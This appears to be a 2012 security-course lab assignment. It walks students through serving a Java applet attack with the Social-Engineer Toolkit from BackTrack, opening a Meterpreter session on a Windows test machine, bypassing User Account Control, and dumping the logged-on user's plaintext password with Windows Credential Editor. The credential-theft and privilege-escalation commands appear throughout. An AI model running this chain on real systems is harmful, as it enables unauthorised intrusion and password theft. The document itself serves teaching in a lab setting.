Project 5x: Stealing Windows Passwords Remotely (15 pts.)

What You Need


This is a really powerful attack--you will steal the password right off the machine. Don't do this to anyone without permission, or you could get in big trouble!


Windows stores the passwords of currently logged-on users in RAM without hashing them. This is a shockingly insecure practice.

You will use a Java attack to take control of a Windows target remotely and steal the password over the network. The password will be 20 characters long, which makes it difficult or impossible to recover from password hashes.

Making a Test Windows Account

On your Windows machine, click Start, right-click Computer, and click Manage.

In Computer Management, in the left pane, expand the "Local Users and Groups" container.

Right-click Users, as shown below, and in the context menu, click "New User".

In the "New User" box, enter these values, as shown below:

In the "New User" box, click Create. Click Close.

In the left pane of Computer Management, click the Users conainer to select it.

In the right pane, double-click "YOUR_NAME".

In the "YOUR_NAME Properties" box, click the "Member Of" tab, as shown below:

Click the Add... button. In the "Select Groups" box, type Administrators, as shown below:

In the "Select Groups" box, click OK.

In the "YOUR_NAME Properties" box, click OK.

Logging On With the Test Account

In the Windows machine, click Start, "Log off". Click "Log off",

Log on with the new account you just created, using the very long password.

Installing Java

In the Windows machine, open Internet Explorer and go to as shown below:

Click the Download button. On the next page, click the "Agree and Start Free Download" button.

Follow the directions on your screen to install Java.

Downloading Required Files on the BackTrack Machine

At the upper left of the BackTrack desktop, click the little black icon to open a Terminal window.

In the Terminal window, execute these commands:

cd /pentest/exploits/framework/scripts/meterpreter


cd /pentest/exploits/framework/data/post


tar xzf wce_v1_3beta_x64.tgz

mv wce.exe wce-x64.exe


tar xzf wce_v1_3beta.tgz

mv wce.exe wce-x86.exe

Launching a Java Attack with the Social-Engineer Toolkit

In the Backtrack Terminal window, execute these commands:

cd /pentest/exploits/set


The Social-Engineer Toolkit opens, as shown below:

If you are prompted to agree to a user agreement, agree.

Type 4 and press Enter, to update Metasploit. Type 5 and press Enter, to update the Social-Engineer Toolkit. Type 6 and press Enter, to update the SET configuration. Type 99 to exit. In the Backtrack Terminal window, execute this command:


Enter the text shown in bold for each item, as listed below, pressing Enter after each one:

Wait while Metasploit creates a series of injection codes for various targets. When it is ready, you will see "Starting the payload handler...", as shown below:

Immediately above the "Starting the payload handler..." message, your BackTrack machine's IP address is shown, followed by ":8081", as you can see in the figure above. Make a note of that address. In my case it was "". Your address will be different.

Opening the Infected Web Page

On the Windows machine, in Internet Explorer, type the IP address of the BackTrack machine into the Address bar (without the ":8081") and press Enter.

A "Warning - Security" box pops up, as shown below. Check the "I accept the risk..." button. Click the Run> button.

TROUBLESHOOTING: If you can't open the Web page, make sure the two machines are on the same network. Try to PING from the Windows machine to the Linux machine. Check VMware network settings--make sure they are both the same--either both NAT or both Bridged. If you change network settings, restart the VM or refresh the address with ipconfig /renew on Windows or dhclient on Linux.
On the BackTrack machine, you should see one or more "session opened" messages, as shown below:

In the Backtrack Terminal window, execute this command, replacing the number "1" with the correct number of an open session:

sessions -i 1
You should see the message "Starting interaction with 1..." (or some other number), as shown below:

In the Backtrack Terminal window, execute this command to bypass User Account Control:

run post/windows/escalate/bypassuac
You should see a message saying "Meterpreter session 2 opened..." (it may be session 3 or some other number on your machine--note this number.) as shown below:

In the Backtrack Terminal window, execute these commands, replacing "2" with the number of the newly opened session:


sessions -i 2

In the Backtrack Terminal window, execute this command:
run wce.rb
You should see the stolen password of your-name-1234567890, as shown below:

Saving the Screen Image

Make sure the password of your-name-1234567890 is visible, as shown above.

Save a screen capture with a filename of "Proj 5x from YOUR NAME".

Turning In Your Project

Email the image to with a subject of "Project 5x from YOUR NAME".


Last modified: 12-2-12 6:40 pm